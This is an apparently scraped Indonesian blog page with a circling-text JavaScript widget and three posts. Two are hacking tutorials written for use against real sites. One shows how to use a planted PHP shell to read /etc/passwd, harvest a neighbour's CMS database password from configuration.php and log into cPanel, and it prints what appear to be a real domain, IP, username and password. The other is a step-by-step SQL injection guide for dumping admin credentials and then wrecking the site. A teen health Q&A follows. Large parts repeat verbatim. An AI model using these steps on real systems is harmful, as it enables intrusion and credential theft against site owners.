d.top = Math.round(y[i] + a * Math.sin((currStep + i) / letter_spacing) * circleY - 15) + 'px';
d.left = Math.round(x[i] + a * Math.cos((currStep + i) / letter_spacing) * circleX) + 'px';
};
},
drag = function(){ // makes the resistance
y[0] = Y[0] += (ymouse - Y[0]) * speed;
x[0] = X[0] += (xmouse - 20 - X[0]) * speed;
for (var i = n; i > 0; --i){
y[i] = Y[i] += (y[i-1] - Y[i]) * speed;
x[i] = X[i] += (x[i-1] - X[i]) * speed;
};
makecircle();
},
init = function(){ // appends message divs, & sets initial values for positioning arrays
if(!isNaN(window.pageYOffset)){
ymouse += window.pageYOffset;
xmouse += window.pageXOffset;
} else init.nopy = true;
for (var d, i = n; i > -1; --i){
d = document.createElement('div'); d.id = 'iemsg' + i;
d.style.height = d.style.width = a + 'px';
d.appendChild(document.createTextNode(msg[i]));
oi.appendChild(d); y[i] = x[i] = Y[i] = X[i] = 0;
};
o.appendChild(oi); document.body.appendChild(o);
setInterval(drag, 25);
},
ascroll = function(){
ymouse += window.pageYOffset;
xmouse += window.pageXOffset;
window.removeEventListener('scroll', ascroll, false);
};
o.id = 'outerCircleText'; o.style.fontSize = size + 'px';
if (window.addEventListener){
window.addEventListener('load', init, false);
document.addEventListener('mouseover', mouse, false);
document.addEventListener('mousemove', mouse, false);
if (/Apple/.test(navigator.vendor))
window.addEventListener('scroll', ascroll, false);
}
else if (window.attachEvent){
window.attachEvent('onload', init);
document.attachEvent('onmousemove', mouse);
};
})();
</script>
/* Circle Text Styles */
/*http://www.dynamicdrive.com/dynamicindex13/circletext.htm */
#outerCircleText {
/* Optional - DO NOT SET FONT-SIZE HERE, SET IT IN THE SCRIPT */
font-style: italic;
font-weight: bold;
font-family: 'comic sans ms', verdana, arial;
color: ##0010;
/* End Optional */
/* Start Required - Do Not Edit */
position: absolute;top: 0;left: 0;z-index: 3000;cursor: default;}
#outerCircleText div {position: relative;}
#outerCircleText div div {position: absolute;top: 0;left: 0;text-align: center;}
/* End Required */
/* End Circle Text Styles */
</style>
<script type="text/javascript">
/* Circling text trail- Tim Tilton
Website: http://www.tempermedia.com/
Visit: http://www.dynamicdrive.com/ for Original Source and tons of scripts
Modified Here for more flexibility and modern browser support
Modifications as first seen in http://www.dynamicdrive.com/forums/
username:jscheuer1 - This notice must remain for legal use
*/
;(function(){
// Your message here (QUOTED STRING)
var msg = "STMIK ICHSAN GORONTALO";
/* THE REST OF THE EDITABLE VALUES BELOW ARE ALL UNQUOTED NUMBERS */
// Set font's style size for calculating dimensions
// Set to number of desired pixels font size (decimal and negative numbers not allowed)
var size = 24;
// Set both to 1 for plain circle, set one of them to 2 for oval
// Other numbers & decimals can have interesting effects, keep these low (0 to 3)
var circleY = 0.75; var circleX = 2;
// The larger this divisor, the smaller the spaces between letters
// (decimals allowed, not negative numbers)
var letter_spacing = 5;
// The larger this multiplier, the bigger the circle/oval
// (decimals allowed, not negative numbers, some rounding is applied)
var diameter = 10;
// Rotation speed, set it negative if you want it to spin clockwise (decimals allowed)
var rotation = 0.4;
// This is not the rotation speed, its the reaction speed, keep low!
// Set this to 1 or a decimal less than one (decimals allowed, not negative numbers)
var speed = 0.3;
////////////////////// Stop Editing //////////////////////
if (!window.addEventListener && !window.attachEvent || !document.createElement) return;
msg = msg.split('');
var n = msg.length - 1, a = Math.round(size * diameter * 0.208333), currStep = 20,
ymouse = a * circleY + 20, xmouse = a * circleX + 20, y = [], x = [], Y = [], X = [],
o = document.createElement('div'), oi = document.createElement('div'),
b = document.compatMode && document.compatMode != "BackCompat"? document.documentElement : document.body,
mouse = function(e){
e = e || window.event;
ymouse = !isNaN(e.pageY)? e.pageY : e.clientY; // y-position
xmouse = !isNaN(e.pageX)? e.pageX : e.clientX; // x-position
},
makecircle = function(){ // rotation/positioning
if(init.nopy){
o.style.top = (b || document.body).scrollTop + 'px';
o.style.left = (b || document.body).scrollLeft + 'px';
};
currStep -= rotation;
for (var d, i = n; i > -1; --i){ // makes the circle
d = document.getElementById('iemsg' + i).style;
d.top = Math.round(y[i] + a * Math.sin((currStep + i) / letter_spacing) * circleY - 15) + 'px';
d.left = Math.round(x[i] + a * Math.cos((currStep + i) / letter_spacing) * circleX) + 'px';
};
},
drag = function(){ // makes the resistance
y[0] = Y[0] += (ymouse - Y[0]) * speed;
x[0] = X[0] += (xmouse - 20 - X[0]) * speed;
for (var i = n; i > 0; --i){
y[i] = Y[i] += (y[i-1] - Y[i]) * speed;
x[i] = X[i] += (x[i-1] - X[i]) * speed;
};
makecircle();
},
init = function(){ // appends message divs, & sets initial values for positioning arrays
if(!isNaN(window.pageYOffset)){
ymouse += window.pageYOffset;
xmouse += window.pageXOffset;
} else init.nopy = true;
for (var d, i = n; i > -1; --i){
d = document.createElement('div'); d.id = 'iemsg' + i;
d.style.height = d.style.width = a + 'px';
d.appendChild(document.createTextNode(msg[i]));
oi.appendChild(d); y[i] = x[i] = Y[i] = X[i] = 0;
};
o.appendChild(oi); document.body.appendChild(o);
setInterval(drag, 25);
},
ascroll = function(){
ymouse += window.pageYOffset;
xmouse += window.pageXOffset;
window.removeEventListener('scroll', ascroll, false);
};
o.id = 'outerCircleText'; o.style.fontSize = size + 'px';
if (window.addEventListener){
window.addEventListener('load', init, false);
document.addEventListener('mouseover', mouse, false);
document.addEventListener('mousemove', mouse, false);
if (/Apple/.test(navigator.vendor))
window.addEventListener('scroll', ascroll, false);
}
else if (window.attachEvent){
window.attachEvent('onload', init);
document.attachEvent('onmousemove', mouse);
};
})();
</script>
Minggu, 03 April 2011
Cari CPANEL login dan SSH dari inject
cari CPANEL login dan SSH dari inject
For the first time nih gw kasih tutor ….
ya dah deh langsung aja kita mulai
barang ato apa aja yg perlu disiapin nih …
1. Komputer dgn koneksi internet.
2. Phpshell
3. kesabaran
4. Doa tentunya
5. rokok juga jangan lupa
pertama kita buka phpshell ato target injek kita …
saya ambil contoh utk site ini
http://www.abm.no/
langkah pertama :
cat /etc/passwd <— guna nya buat tau jumlah user yg ada disana ….
contoh :
lagerhus:32050:32051::/home/lagerhus:/usr/local/cpanel/bin/jailshell
ltngrupp:32051:32052::/home/ltngrupp:/usr/local/cpanel/bin/jailshell
melodin:32054:32055::/home/melodin:/usr/local/cpanel/bin/jailshell
monalisa:32055:32056::/home/monalisa:/usr/local/cpanel/bin/jailshell
sandvika:32056:32057::/home/sandvika:/usr/local/cpanel/bin/jailshell
storvilt:32057:32058::/home/storvilt:/usr/local/cpanel/bin/jailshell
supercup:32058:32059::/home/supercup:/usr/local/cpanel/bin/jailshell
ok …
langkah kedua ….
pilih salah satu user …
contoh :
/home/monalisa <– aku pilih ini …
dan masuk ke folder public_html …
/home/monalisa/public_html
langkah ke tiga coba kalian ls -al dan perhatikan saut2 nama file itu
contoh:
ls -al dari /home/monalisa/public_html
344337 drwxr-x— 27 monalisa nobody 4096 Aug 29 09:31 .
5718289 drwx–x–x 11 monalisa monalisa 4096 Aug 29 09:53 ..
344348 -rw-r–r– 1 monalisa monalisa 690 May 11 02:14 .htaccess
344088 -rwxr-xr-x 1 monalisa monalisa 56216 Feb 26 2006 CHANGELOG.php
344354 -rwxr-xr-x 1 monalisa monalisa 3429 Feb 26 2006 COPYRIGHT.php
344351 -rwxrwxrwx 1 monalisa monalisa 1122 Jul 20 18:18 INSTALL.php
344342 -rwxrwxrwx 1 monalisa monalisa 17977 Sep 17 2005 LICENSE.php
10240263 drwxrwxrwx 9 monalisa monalisa 4096 Dec 15 2005 administrator
4194486 drwxrwxrwx 16 monalisa monalisa 4096 Feb 22 2006 bancorotto
8176127 drwxr-xr-x 9 monalisa monalisa 4096 Mar 24 14:00 bilder
9846992 drwxrwxrwx 2 monalisa monalisa 4096 Dec 21 2005 bilder_old
4194627 drwxrwxrwx 16 monalisa monalisa 4096 Feb 22 2006 byrakrat
32993 drwxrwxrwx 2 monalisa monalisa 4096 May 30 13:04 cache
4194623 drwxrwxrwx 16 monalisa monalisa 4096 Feb 22 2006 cafebeirut
5095694 drwxrwxrwx 2 monalisa monalisa 4096 Oct 1 2005 cgi-bin
180461 drwxrwxrwx 25 monalisa monalisa 4096 May 31 12:00 components
344140 -rwxr-xr-x 1 monalisa monalisa 2852 Jul 25 12:06 configuration.php
344141 -rwxr-xr-x 1 root root 2855 Jul 17 17:52 configuration.php~
4194484 drwxrwxrwx 16 monalisa monalisa 4096 Aug 22 15:18 davinci
dari sini kita bisa liat bahwa user monalisa menggunakan mambo …
langkah ke empat yaitu baca file yg bernama configuration.php ato config.php ato db.php
contoh:
dalam kasus ini file yg ada adalah configuration.php
jadi kita cat configuration.php
hasilnya :
$mosConfig_live_site = ´http://www.monalisahuset.no´;
$mosConfig_locale = ´no_NO´;
$mosConfig_mailer = ´mail´;
$mosConfig_mailfrom = ´post@monalisahuset.no´;
$mosConfig_ml_support = ´0´;
$mosConfig_multipage_toc = ´1´;
$mosConfig_offline = ´0´;
$mosConfig_offline_message = ´This site is down for maintenance.
Please check back again soon.´;
$mosConfig_offset = ´-2´;
$mosConfig_offset_user = ´0´;
$mosConfig_pagetitles = ´1´;
$mosConfig_password = ´jqUf#(l´;
ok dari sini kita bisa mendapat pass dari user tersebut
pass na adalah $mosConfig_password = ´jqUf#(l´;
langkah ke lima mengetahui bagaimana cara utk login ke dalam cpanel ato ssh …
setelah kita mendapat kan passwordnya kita coba utk login ke cpanel nya
caranya ketik /dns di Mirc
contoh:
[15:02] * Dns resolving www.abm.no
-
[15:02] * Dns resolved www.abm.no to 62.70.54.76
dari situ kita mendapat kan ip server 62.70.54.76
utk login cpanel kita bisa menggunakan http://:2082
dalam hal ini http://62.70.54.76:2082
setelah itu kita masukan username dan pass ….
utk username kita dapat dari cat /etc/passwd dan dalam kasus ini user yg kita pake adalah monalisa
jadi utk login kita masukan
username:monalisa
password:jqUf#(l
dan anda tlah masuk kedalam cpanel nya …
Note:
1. Tidak smua user mempunyai cpanel ato ssh … ini dapat kita lihat dari cat /etc/passwd
tandanya : /usr/local/cpanel/bin/jailshell <— berarti user ini memiliki cpanel dan shell
tapi jika : /bin/false <– tandanya cpanel nya dia tidak punya ato shellna.
For the first time nih gw kasih tutor ….
ya dah deh langsung aja kita mulai
barang ato apa aja yg perlu disiapin nih …
1. Komputer dgn koneksi internet.
2. Phpshell
3. kesabaran
4. Doa tentunya
5. rokok juga jangan lupa
pertama kita buka phpshell ato target injek kita …
saya ambil contoh utk site ini
http://www.abm.no/
langkah pertama :
cat /etc/passwd <— guna nya buat tau jumlah user yg ada disana ….
contoh :
lagerhus:32050:32051::/home/lagerhus:/usr/local/cpanel/bin/jailshell
ltngrupp:32051:32052::/home/ltngrupp:/usr/local/cpanel/bin/jailshell
melodin:32054:32055::/home/melodin:/usr/local/cpanel/bin/jailshell
monalisa:32055:32056::/home/monalisa:/usr/local/cpanel/bin/jailshell
sandvika:32056:32057::/home/sandvika:/usr/local/cpanel/bin/jailshell
storvilt:32057:32058::/home/storvilt:/usr/local/cpanel/bin/jailshell
supercup:32058:32059::/home/supercup:/usr/local/cpanel/bin/jailshell
ok …
langkah kedua ….
pilih salah satu user …
contoh :
/home/monalisa <– aku pilih ini …
dan masuk ke folder public_html …
/home/monalisa/public_html
langkah ke tiga coba kalian ls -al dan perhatikan saut2 nama file itu
contoh:
ls -al dari /home/monalisa/public_html
344337 drwxr-x— 27 monalisa nobody 4096 Aug 29 09:31 .
5718289 drwx–x–x 11 monalisa monalisa 4096 Aug 29 09:53 ..
344348 -rw-r–r– 1 monalisa monalisa 690 May 11 02:14 .htaccess
344088 -rwxr-xr-x 1 monalisa monalisa 56216 Feb 26 2006 CHANGELOG.php
344354 -rwxr-xr-x 1 monalisa monalisa 3429 Feb 26 2006 COPYRIGHT.php
344351 -rwxrwxrwx 1 monalisa monalisa 1122 Jul 20 18:18 INSTALL.php
344342 -rwxrwxrwx 1 monalisa monalisa 17977 Sep 17 2005 LICENSE.php
10240263 drwxrwxrwx 9 monalisa monalisa 4096 Dec 15 2005 administrator
4194486 drwxrwxrwx 16 monalisa monalisa 4096 Feb 22 2006 bancorotto
8176127 drwxr-xr-x 9 monalisa monalisa 4096 Mar 24 14:00 bilder
9846992 drwxrwxrwx 2 monalisa monalisa 4096 Dec 21 2005 bilder_old
4194627 drwxrwxrwx 16 monalisa monalisa 4096 Feb 22 2006 byrakrat
32993 drwxrwxrwx 2 monalisa monalisa 4096 May 30 13:04 cache
4194623 drwxrwxrwx 16 monalisa monalisa 4096 Feb 22 2006 cafebeirut
5095694 drwxrwxrwx 2 monalisa monalisa 4096 Oct 1 2005 cgi-bin
180461 drwxrwxrwx 25 monalisa monalisa 4096 May 31 12:00 components
344140 -rwxr-xr-x 1 monalisa monalisa 2852 Jul 25 12:06 configuration.php
344141 -rwxr-xr-x 1 root root 2855 Jul 17 17:52 configuration.php~
4194484 drwxrwxrwx 16 monalisa monalisa 4096 Aug 22 15:18 davinci
dari sini kita bisa liat bahwa user monalisa menggunakan mambo …
langkah ke empat yaitu baca file yg bernama configuration.php ato config.php ato db.php
contoh:
dalam kasus ini file yg ada adalah configuration.php
jadi kita cat configuration.php
hasilnya :
$mosConfig_live_site = ´http://www.monalisahuset.no´;
$mosConfig_locale = ´no_NO´;
$mosConfig_mailer = ´mail´;
$mosConfig_mailfrom = ´post@monalisahuset.no´;
$mosConfig_ml_support = ´0´;
$mosConfig_multipage_toc = ´1´;
$mosConfig_offline = ´0´;
$mosConfig_offline_message = ´This site is down for maintenance.
Please check back again soon.´;
$mosConfig_offset = ´-2´;
$mosConfig_offset_user = ´0´;
$mosConfig_pagetitles = ´1´;
$mosConfig_password = ´jqUf#(l´;
ok dari sini kita bisa mendapat pass dari user tersebut
pass na adalah $mosConfig_password = ´jqUf#(l´;
langkah ke lima mengetahui bagaimana cara utk login ke dalam cpanel ato ssh …
setelah kita mendapat kan passwordnya kita coba utk login ke cpanel nya
caranya ketik /dns
contoh:
[15:02] * Dns resolving www.abm.no
-
[15:02] * Dns resolved www.abm.no to 62.70.54.76
dari situ kita mendapat kan ip server 62.70.54.76
utk login cpanel kita bisa menggunakan http://
dalam hal ini http://62.70.54.76:2082
setelah itu kita masukan username dan pass ….
utk username kita dapat dari cat /etc/passwd dan dalam kasus ini user yg kita pake adalah monalisa
jadi utk login kita masukan
username:monalisa
password:jqUf#(l
dan anda tlah masuk kedalam cpanel nya …
Note:
1. Tidak smua user mempunyai cpanel ato ssh … ini dapat kita lihat dari cat /etc/passwd
tandanya : /usr/local/cpanel/bin/jailshell <— berarti user ini memiliki cpanel dan shell
tapi jika : /bin/false <– tandanya cpanel nya dia tidak punya ato shellna.
Kamis, 24 Maret 2011
Tutorial SQL Injection Step by Step
Cari target menggunakan dorks SQL ijection, agar lebih mudah, atau kalo sobat sudah punya target, ya langsung buat praktek saja… Baiklah, anggap saja kita sudah dapat target.
Sebelumnya, siapin dulu segala keperluan yang mungkin akan kita perlukan nanti, seperti secangkir kopi, cemilan dan jangan lupa rokok 76 nya yak.. hahha.. biar awet.. wkwkwk…
Langsung saja, :
Misal saja target kita adalah sang maling, untuk langkah kedua, kita berikan tanda ( – ) ataun ( ' ) pada akhir dari url tersebut, menjadi seperti ini :
>> http://malingasia.my/index.php?ID=1- , atau
Jika terjadi error, maka artinya website tersebut vuln, dan kita lnjutkan langkah berikutnya.
Langkah berikutnya adalah langkah dimana kita harus menghitung jumlah table yang ada pada database website tersebut, gunakan perintah “order by”, berikut contohnya :
ganti angka 1—dengan kelipatannya, 2—, 3—, 4—dan seterusnya hingga muncul pesan eror atau hilang pesan eror.
Misalnya, terjadi eror lagi pada :
Maka, angka yang kita gunakan adalah angka 5. Angka 5 tersebut digunakan untuk mencari angka2 gaib yang akan keluar jika kita memasukan perintah “union select”, contohnya :
Dan kalau langkah itu berhasil, maka akan muncul dihalaman website angka2 gaib, minimal 1 angka akan muncul. Misalnya angka yang keluar adalah angka 2 dan 4, maka lanjutkan dengan melihat versi dari SQL yang digunakan. Untuk menlihat versi cukup menggunakan perintah version() yang diletakkan pada angka yang muncul tadi, contoh :
cukup pada satu angka saja, untuk yang lain, sebenarnya masih bisa dimasukan perintah lain, seperti untuk mengetahui nama user dan nama database. misalnya untuk mengetahui nama user, cukup dengan perintah user() dan database() untuk mengetahui nama database nya.
Dan kita mendapatkan versi SQL nya, jika versi 4 maka saya sarankan untuk mencari target lain saja, karena tutorial ini tidak berjalan pada SQL versi 4, tetapi kalo SQL nya versi 5, maka mari lanjoooottt….
Versi SQL telah didapat, dan versi 5 lah yang kita dapat, maka sekarang saatnya untuk mencari nama-nama table yang ada dalam database,.
./ ngopi dulu ah… sruuupuuutttt…..
Udah, sekarang lanjoot..
Untuk mendapatkan nama-nama tablenya, kita gunakan perintah “group_concat(table_name)” pada angka yang muncul tadi dan “+from+information_schema.tables+where+table_schema=database()--“ pada akhir dari url. Contoh :
Maka pada angka 4 yang muncul tadi akan muncul nama2 table yang terdapat pada databae tersebut. Cari nama table yang memungkinkan bahwa isinya adalah informasi tentang sang admin, misalnya :
>> admin, user, users, tb_user, tb_admin, administrator, wp_admin, wp_user, dll
Misalnya dapat sebuah table dengan nama “admin”, sekarang kita cari column2 yang ada dalam table tersebut. Tapi sebelumnya, convert dulu nama table tersebut menjadi angka HEXA, converter bisa menggunakan tools online, banyak kok yang buat, salah satunya : http://r3m1ck.uni.cc cari saja tool Converter.
Jika “admin” kita convert, maka akan menjadi 61646d696e , jika sudah, sekarang saat nya masukan perintahnya :
>> group_concat(table_name)
perintah diatas dimasukan menjadi penggati perintah group_concat(table_name)
>> +from+information_schema.columns+where+table_name=0xHEXA--
Dan perintah diatas menjadi pengganti dari +from+information_schema.tables+where+table_schema=database()--
Dan jangan lupa untuk mengganti kata HEXA dengan hasil convertan tadi, contohnya :
Jika benar, maka akan muncul nama column nya. jika table yang kita dapat tadi benar-benar table admin, maka di dalamnya kemungkinan besar akan terdapat column username dan password.
Dari informasi tersebut, maka sobat bisa agak tersenyum, karena kemungkinan besar kita akan bisa masuk ke dalam website tersebut.
./ nyumet udud sik yo… hehhe…
Lanjooottt…..
Sekarang waktunya membuka column tersebut dengan perintah :
>> group_concat(column,0x3a,column2)
sebagai pengganti group_concat(table_name) . jangan lupa mengganti kata column dan column2 dengan nama2 colum yang ingin kita ambil isinya.
>>+from+TABLE--
pengganti +from+information_schema.columns+where+table_name=0xHEXA—. ganti kata TABLE dengan nama tablenya tadi (misal : admin).
contoh url lengkap :
untuk code “0x3a” merupaka tanda titikdua ( : ), bisa diganti dengan “0x3c62723e” , code tersebut adalah enter ( ganti baris ).
Bimsalabim, dapet dah username dan password dari adminnya, akhirnya, sekarang saatnya untuk mencari halaman login dari sang admin, jangan tanya adminnya lo,, hahha..
Coba saja dulu dengan standart login admin, yaitu :
dan masih banyak lagi, untuk lebih mudahnya, gunakan saja tool admin login finder, bisa sobat temukan di web nya om r3m1ck, http://r3m1ck.uni.cc .
Jika sudah menemukan halaman loginnya, coba deh lakukan login selayaknya anda lah sang admin, dan berhasil, sekarang sobat mendapatkan control penuh terhadap website tersebut, kalo maling sih usul saya, hancurkan saja, tapi dimanfaatkan dulu yak, terserah bagaimana caranya, pokoknya bisa aja… hahha..
Oya, sekedar informasi, terkadang password yang kita dapat merupakan password yang di encript, jadi kita harus decript dulu, untuk standartnya, encript yang digunakan adalah MD5, dan untuk decriptnya sobat bisa mengunjungi web nya om r3mick lagi, lengkap dah pokoknya disana…
Selamat mencoba,…
Senin, 14 Maret 2011
KESEHATAN REPRODUKSI REMAJA
Dalam proses tumbuh kembang, masa remaja merupakan peralihan antara masa kanak-kanak ke masa dewasa. Proses ini ditandai dengan pertumbuhan fisik dan pematangan fungsi organ hormonal serta pengaruh lingkungan. Faktor-faktor ini memberikan pengaruh sangat besar dan pesat pada status kesehatannya baik secara fisik, mental, sosial maupun intelektual . Pola karakteristik pesatnya tumbuh kembang ini menyebabkan remaja dimanapun berada, mempunyai sifat khas yang sama yaitu mempunyai rasa keingintahuan yang besar, menyukai petualangan dan tantangan serta cenderung berani menanggung risiko atas perbuatannya tanpa didahului oleh pertimbangan yang matang. Sifat tersebut dihadapkan pada ketersediaan sarana di sekitarnya yang dapat memenuhi keingitahuan tersebut. Keadaan ini sering kali mendatangkan konflik bathin dalam dirinya. Apabila keputusan yang diambil dalam menghadapi konflik tidak tepat, mereka akan jatuh ke dalam perilaku berisiko dan mungkin harus menanggung akibat lanjutnya dalam bentuk berbagai masalah kesehatan fisik dan psikososial, yang bahkan mungkin harus ditanggung seumur hidupnya.
Untuk mengantisipasi perkembangan dan pendewasaan dirinya, para remaja seharusnya menerima informasi yang lengkap, tepat dan tidak menyesatkan sesuai dengan umur dan tumbuh kembangnya. Remaja perlu mengetahui dengan benar dan dapat memanfaatkan informasi tadi untuk meningkatkan status kesehatannya .
Sebagai bahan informasi untuk menambah wawasan dan penetahuan bagi remaja, bisa dibaca pernyataan tanya jawab dibawah ini, semoga bermanfaat;
PUBERTAS
1. Apakah pubertas itu ?
Pubertas adalah awal masa remaja. Pada masa pubertas terjadi perubahan badaniah yang ditandai adanya kemampuan untuk melanjutkan keturunan ( reproduksi ). Ada yang menyebut pubertas sebagai saat kematangan seksual. Perubahan ini disertai perubahan mental dan akan mempengaruhi perilakumu.
2. Kapan pubertas terjadi ?
Perubahan yang terjadi pada setiap orang berbeda-beda, karena setiap orang memiliki perbedaan saat kematangan seksual. Biasanya perempuan mengalami pubertas lebih awal pada usia 11-12 tahun, sedangkan laki-laki pada usia 13-14 tahun.
3. perubahan badaniah pada perempuan ?
Tubuh menjadi tinggi, rambut tumbuh di ketiak dan di sekitar kemaluan, buah dada akan membesar, pinggul melebar, mengalami menstruasi / haid pertama.
Untuk mengantisipasi perkembangan dan pendewasaan dirinya, para remaja seharusnya menerima informasi yang lengkap, tepat dan tidak menyesatkan sesuai dengan umur dan tumbuh kembangnya. Remaja perlu mengetahui dengan benar dan dapat memanfaatkan informasi tadi untuk meningkatkan status kesehatannya .
Sebagai bahan informasi untuk menambah wawasan dan penetahuan bagi remaja, bisa dibaca pernyataan tanya jawab dibawah ini, semoga bermanfaat;
PUBERTAS
1. Apakah pubertas itu ?
Pubertas adalah awal masa remaja. Pada masa pubertas terjadi perubahan badaniah yang ditandai adanya kemampuan untuk melanjutkan keturunan ( reproduksi ). Ada yang menyebut pubertas sebagai saat kematangan seksual. Perubahan ini disertai perubahan mental dan akan mempengaruhi perilakumu.
2. Kapan pubertas terjadi ?
Perubahan yang terjadi pada setiap orang berbeda-beda, karena setiap orang memiliki perbedaan saat kematangan seksual. Biasanya perempuan mengalami pubertas lebih awal pada usia 11-12 tahun, sedangkan laki-laki pada usia 13-14 tahun.
3. perubahan badaniah pada perempuan ?
Tubuh menjadi tinggi, rambut tumbuh di ketiak dan di sekitar kemaluan, buah dada akan membesar, pinggul melebar, mengalami menstruasi / haid pertama.
4. Bagaimana dengan laki-laki ?
Otot mengembang di sekitar dada dan bahu, berat dan tinggi badan bertambah, suara membesar, rambut tumbuh di ketiak , sekitar kemaluan, tangan dan kaki, dada dan di wajah ( kumis dan jenggot ) serta mimpi basah.
Otot mengembang di sekitar dada dan bahu, berat dan tinggi badan bertambah, suara membesar, rambut tumbuh di ketiak , sekitar kemaluan, tangan dan kaki, dada dan di wajah ( kumis dan jenggot ) serta mimpi basah.
5. Perubahan mental apa yang menyertai perubahan badaniah ?
Mulai tertarik pada lawan jenis. Perempuan ingin tampil lebih cantik dan laki-laki ingin menunjukan kejantanannya.
Menjadi pemalu, sering sedih, khawatir dan sering bingung sehingga kepercayaan diri menurun.
Sering kali merasa ” tidak suka” pada lawan jenis, semua itu normal dan terjadi pada setiap orang di masa remaja.
6. Perubahan perilaku apa yang terjadi ?
Pada masa ini, mereka lebih suka pergi bersama teman-teman sebaya, dari pada tinggal di rumah. Tidak menurut pada orang tua, suka pamer dan tidak berpikir pada saat berbuat. Hal ini menyebabkan mereka lebih mudah dipengaruhi teman. Perempuan sebelum saat haid / menstruasi, biasanya sangat perasa, emosional, pemarah tanpa alasan yang jelas.
7. Perubahan apa lagi yang biasanya terjadi ?
Kulit semakin berminyak, mudah berjerawat . Tapi tak perlu rendah diri, karena hal ini disebabkan oleh lemak yang berlebihan di bawah kulit.
PERILAKU REMAJA
8. Mengapa masa remaja membutuhkan perhatian, baik dari orang tua, guru dan remaja sendiri ?
Masa remaja adalah suatu masa perubahan dari masa anak-anak ke masa dewasa . Pada saat ini remaja mengalami pengalaman-pengalaman baru baik jasmani maupun rohani . Remaja akan membentuk kelompok bersama teman-teman sebaya dan mencari pengalaman-pengalaman baru bersama-sama.
Mulai tertarik pada lawan jenis. Perempuan ingin tampil lebih cantik dan laki-laki ingin menunjukan kejantanannya.
Menjadi pemalu, sering sedih, khawatir dan sering bingung sehingga kepercayaan diri menurun.
Sering kali merasa ” tidak suka” pada lawan jenis, semua itu normal dan terjadi pada setiap orang di masa remaja.
6. Perubahan perilaku apa yang terjadi ?
Pada masa ini, mereka lebih suka pergi bersama teman-teman sebaya, dari pada tinggal di rumah. Tidak menurut pada orang tua, suka pamer dan tidak berpikir pada saat berbuat. Hal ini menyebabkan mereka lebih mudah dipengaruhi teman. Perempuan sebelum saat haid / menstruasi, biasanya sangat perasa, emosional, pemarah tanpa alasan yang jelas.
7. Perubahan apa lagi yang biasanya terjadi ?
Kulit semakin berminyak, mudah berjerawat . Tapi tak perlu rendah diri, karena hal ini disebabkan oleh lemak yang berlebihan di bawah kulit.
PERILAKU REMAJA
8. Mengapa masa remaja membutuhkan perhatian, baik dari orang tua, guru dan remaja sendiri ?
Masa remaja adalah suatu masa perubahan dari masa anak-anak ke masa dewasa . Pada saat ini remaja mengalami pengalaman-pengalaman baru baik jasmani maupun rohani . Remaja akan membentuk kelompok bersama teman-teman sebaya dan mencari pengalaman-pengalaman baru bersama-sama.
9. Bukankah memiliki banyak teman itu menyenangkan ?
Tentu saja, karena bisa berbagi rasa “ cur-hat “ , “ ngerumpi “, melakukan tugas / pekerjaan bersama-sama pokoknya saling membantu. Tapi ingat ! teman juga dapat memberi pengaruh buruk bagi diri remaja. Banyak orang sulit keluar dari permasalahannya, akibat teman di masa remaja.
10. Bagaimana mungkin teman dapat memberikan pengaruh buruk ?
Karena sering dipaksa melakukan hal-hal yang biasa dilakukan oleh teman-teman dalam kelompok pergaulannya. Bila tidak mau , remaja tersebut tidak dianggap bagian dalam kelompoknya. Kalau ajakannya negatif, tinggalkan saja kelompok itu, dan cari teman baru yang lain.
11. Apakah pengaruh-pengaruh buruk yang dapat mempengaruhi remaja ?
• Ajakan mencoba obat-obatan terlarang
• Ajakan membaca buku-buku porno
• Ajakan menonton film / vidio / VCD porno
• Ajakan mencoba minuman beralkohol
Tentu saja, karena bisa berbagi rasa “ cur-hat “ , “ ngerumpi “, melakukan tugas / pekerjaan bersama-sama pokoknya saling membantu. Tapi ingat ! teman juga dapat memberi pengaruh buruk bagi diri remaja. Banyak orang sulit keluar dari permasalahannya, akibat teman di masa remaja.
10. Bagaimana mungkin teman dapat memberikan pengaruh buruk ?
Karena sering dipaksa melakukan hal-hal yang biasa dilakukan oleh teman-teman dalam kelompok pergaulannya. Bila tidak mau , remaja tersebut tidak dianggap bagian dalam kelompoknya. Kalau ajakannya negatif, tinggalkan saja kelompok itu, dan cari teman baru yang lain.
11. Apakah pengaruh-pengaruh buruk yang dapat mempengaruhi remaja ?
• Ajakan mencoba obat-obatan terlarang
• Ajakan membaca buku-buku porno
• Ajakan menonton film / vidio / VCD porno
• Ajakan mencoba minuman beralkohol
• Ajakan mencuri
• Ajakan menentang orang tua
• Ajakan mencoba merokok, dll
12. Hanya mencoba saja mengapa tidak boleh ?
Ajakan mencoba sesuatu untuk kesetiakawanan dapat menjerumuskan remaja pada perbuatan –perbuatan kriminal, dan merusak masa depan, menjauhkan diri dari hal-hal yang baik . Karena sekali mencoba, akan terulang dan terulang lagi, menyebabkan remaja menjadi ketagihan. Bila sudah demikian, apapun akan dilakukan oleh remaja untuk mendapatkannya.
13. Bukankah mencoba dapat menjadi pengetahuan bagi remaja ?
Memang benar, tetapi pengetahuan yang didapat seperti itu dan berasal dari sumber yang tidak dapat dipertanggungjawabkan.
14. Jadi kepada siapa remaja harus meminta penjelasan ?
Sebaiknya ikutilah bimbingan dan penyuluhan yang diselenggarakan oleh lembaga-lembaga resmi . seperti puskesmas, sekolah, pesantren dan organisasi-organisasi kepemudaan yang ditugasi untuk menyebarkan pengetahuan itu.
15. Apa yang sebaiknya dilakukan oleh remaja ?
• Jagalah dirimu sendiri dengan penuh tanggung jawab untuk masa depanmu
• Jangan rusak kepercayaan orang tua terhadap dirimu
• Berani menyatakan “tidak” terhadap ajakan teman yang akan merugikan dirimu
• Hindari perbuatan-perbuatan yang beresiko untuk kehidupan masa depan
• Pilihlah teman yang berahlak baik
• Gunakan masa remajamu untuk hal-hal yang bermanfaat
• Jagalah kondisi jasmani dan rohani, dengan mengkonsumsi makanan yang bergizi, berolah raga dan mengikuti kegiatan-kegiatan keagamaan dan kegiatan sosial.
• Ajakan menentang orang tua
• Ajakan mencoba merokok, dll
12. Hanya mencoba saja mengapa tidak boleh ?
Ajakan mencoba sesuatu untuk kesetiakawanan dapat menjerumuskan remaja pada perbuatan –perbuatan kriminal, dan merusak masa depan, menjauhkan diri dari hal-hal yang baik . Karena sekali mencoba, akan terulang dan terulang lagi, menyebabkan remaja menjadi ketagihan. Bila sudah demikian, apapun akan dilakukan oleh remaja untuk mendapatkannya.
13. Bukankah mencoba dapat menjadi pengetahuan bagi remaja ?
Memang benar, tetapi pengetahuan yang didapat seperti itu dan berasal dari sumber yang tidak dapat dipertanggungjawabkan.
14. Jadi kepada siapa remaja harus meminta penjelasan ?
